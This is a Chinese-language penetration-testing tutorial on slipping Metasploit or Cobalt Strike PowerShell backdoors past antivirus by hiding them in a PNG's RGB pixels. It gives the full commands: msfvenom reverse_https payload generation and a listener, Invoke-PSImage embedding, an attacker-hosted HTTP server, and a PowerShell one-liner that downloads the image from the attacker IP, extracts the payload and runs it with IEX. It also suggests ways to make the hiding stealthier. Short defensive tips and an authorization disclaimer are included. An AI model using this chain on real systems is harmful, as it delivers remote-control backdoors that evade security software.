渗透测试之地基免杀篇:隐写RGB过所有杀软
字数 1490 2025-08-15 21:33:44
渗透测试之地基免杀篇:隐写RGB过所有杀软
一、技术概述
本技术通过将恶意payload隐写到PNG图片的RGB像素中,实现绕过主流杀毒软件(包括360、360杀毒、火绒、deferencer等)的检测。该方法利用颜色分量的低位存储shellcode,通过特定的PowerShell脚本实现payload的提取和执行。
二、环境准备
攻击者环境
- 系统:Kali Linux 2020.4
- IP:192.168.253.8
- 工具:Cobalt Strike、Metasploit Framework
目标环境
- 系统:Windows 10
- IP:192.168.253.17
- 安全软件:360、360杀毒、火绒、deferencer
所需工具和材料
- PSImage源代码:Invoke-PSImage
- 一张JPG图片作为载体
- PowerShell后门文件(由CS或MSF生成)
三、操作步骤
1. 生成后门文件
Cobalt Strike生成
# 生成powershell后门payload.ps1
Metasploit生成
# 设置监听
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost 192.168.253.8; set lport 5555; exploit -j;"
# 生成后门文件
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.253.8 LPORT=5555 -f psh-reflection > msf-dayu.ps1
2. 隐写RGB操作
在Windows 10系统执行以下操作:
# 更改执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
# 导入模块
Import-Module .\Invoke-PSimage.ps1
# 执行隐写(CS后门示例)
Invoke-PSImage -Script .\cs-dayu.ps1 -Image .\dayu.jpg -Out .\cs-dayu.png -Web
# 执行隐写(MSF后门示例)
Invoke-PSImage -Script .\msf-dayu.ps1 -Image .\dayu.jpg -Out .\msf-dayu.png -Web
参数说明:
-Script: 要写入图片的PowerShell脚本-Image: 用作载体的图片-Out: 输出图片路径-Web: 生成用于从Web读取图像的命令
3. 启动HTTP服务
在Kali上启动HTTP服务:
python -m SimpleHTTPServer 80
4. 执行payload
将生成的PowerShell命令中的URL修改为实际地址后执行:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.253.8/cs-dayu.png"));$o=a Byte[] 4000;(0..3)|%{foreach($x in(0..999)){$p=$g.GetPixel($x,$_);$o[$_*1000+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
四、技术原理分析
1. 核心组件
System.Drawing: 用于图像处理System.Web: 用于网络通信
2. 隐写过程
- 将图像读入内存
- 锁定图像内存区域以便修改
- 将RGB值复制到数组
- 检查payload是否适合图像大小
- 生成128位随机令牌
- 遍历RGB数组并将payload写入:
- 修改B和G分量的低4位存储payload
- 其他像素填充随机数据
3. RGB隐写原理
- 每个像素由R、G、B三个分量组成,每个分量8位
- 使用B和G分量的最低4位存储payload数据
- 提取时通过位运算还原原始数据:
paybyte1 = payload高4位paybyte2 = payload低4位- 通过
(B & 0x0f) << 4 | (G & 0x0f)还原原始字节
4. 提取执行过程
- 从网络下载图片
- 读取每个像素的B和G分量
- 提取低4位数据
- 组合还原原始payload
- 通过IEX执行还原的代码
五、防御建议
-
执行策略限制:
- 保持PowerShell执行策略为受限状态
- 监控执行策略的更改
-
AMSI防护:
- 确保AMSI(反恶意软件扫描接口)启用
- 及时更新AMSI签名
-
网络流量监控:
- 监控异常的HTTP下载行为
- 特别关注PNG文件的下载和执行
-
图像文件分析:
- 对可疑图像文件进行RGB分析
- 检查图像文件是否有异常修改
-
行为监控:
- 监控PowerShell的异常行为
- 特别关注从图像中读取数据的操作
六、技术改进建议
- 可以考虑使用三个颜色分量的最低位进行隐写(类似LSB隐写)
- 增加随机填充数据的复杂度
- 结合其他隐写技术提高隐蔽性
- 优化payload的编码方式减少体积
七、注意事项
- 本技术仅用于合法渗透测试和研究目的
- 在实际测试前必须获得明确授权
- 使用前应充分评估可能带来的风险
- 建议在隔离环境中进行测试
八、总结
通过RGB隐写技术,可以有效绕过主流杀毒软件的检测。该方法利用了图像处理的基本原理和杀毒软件的检测盲区,具有较高的隐蔽性。防御方需要从多个层面建立防护措施,才能有效防范此类攻击。